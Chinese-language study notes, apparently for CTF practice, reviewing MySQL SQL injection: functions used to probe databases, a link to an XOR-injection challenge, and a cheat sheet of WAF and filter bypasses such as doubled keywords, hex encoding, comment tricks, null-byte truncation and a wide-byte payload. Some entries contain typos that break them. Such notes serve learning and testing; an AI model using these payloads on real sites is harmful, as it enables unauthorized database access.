SQL注入知识复习
基础函数:
user():当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码
sleep():函数延迟代码执行若干秒
~是一个一元运算符,将x按位取补
!取反
hex()
unhex()
CONV(N,from_base,to_base)
SELECT CONV(5,16,2); //将数字5,从16进制转到2进制
常用函数
length(str):返回str字符串的长度。
substr(str,pos,len):将strApos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str.pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a.b,c):a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
left(database(),1)取database字符串的左边第一个
异或注入
题目地址:http://123.206.87.240:9004/1ndex.php?id=1^ 1
做题步骤
检测注入=>了解过滤=>获取数据
SQL注入绕过总结
注释符绕过:
//,--,/*/,#,--+,---,;,%00,--a
大小写绕过
SeLect UniOn
双关键字绕过
SELSELECTECT username FRFROMOM users WHWHEREERE id = '1';
编码绕过
十六进制:SELECT(extractvalue(Ox3C613E61646D696E3C2F613E,0x2f61))
空格绕过
LIKE绕过
select "i"LIKE"i";
绕过对"=",">"等的过滤
IN绕过
AND '1' IN ('1',2')
SELECT '1' IN('I'+'O');
,<绕过
or 'password'>'pass'
or 1<3
反引号绕过
select `username`,`password` from `users`;
等价函数与命令绕过:
换行符绕过
%0a,%0d
截断绕过
%00,%0A,?,/0,/////////......//////////.%80-%99
目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
./././././././././././abc
//////////////////////abc
..1/abc/../1/abc/../1/abc
宽字节
%df') or 1=1#